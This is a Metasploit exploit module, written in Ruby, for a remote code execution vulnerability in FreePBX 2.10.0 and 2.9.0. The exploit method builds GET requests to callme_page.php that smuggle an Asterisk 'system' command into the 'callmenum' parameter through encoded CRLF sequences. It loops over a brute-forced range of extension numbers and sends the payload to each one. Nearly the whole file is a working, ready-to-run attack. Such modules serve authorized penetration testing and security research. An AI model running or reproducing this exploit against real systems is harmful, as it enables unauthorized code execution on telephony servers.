##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
   'Description'    => %q{
    This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
    Due to the way callme_page.php handles the 'callmenum' parameter, it
    is possible to inject code to the '$channel' variable in function
    callme_startcall in order to gain remote code execution.

    Please note in order to use this module properly, you must know the
    extension number, which can be enumerated or bruteforced, or you may
    try some of the default extensions such as 0 or 200.  Also, the call
    has to be answered (or go to voice).

    Tested on both Elastix and FreePBX ISO image installs.
   },
   'Author'         => [ 'muts','Martin Tschirsich' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 20 2012'))

  register_options(
   [
    OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
   ], self.class)
 end

 def exploit
  # Check range input
  if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
   min = $1.to_i
   max = $2.to_i
  else
   print_error("Please specify a range for option 'EXTENSION'")
   return
  end

  cmd = Rex::Text.uri_encode(payload.encoded)

  (min..max).each do |e|
   connect
   print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
   res = send_request_raw({
    'method' => 'GET',
    'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
    'version' => '1.0',
    'vhost'   => rhost
   })
   handler
   disconnect
  end
 end

end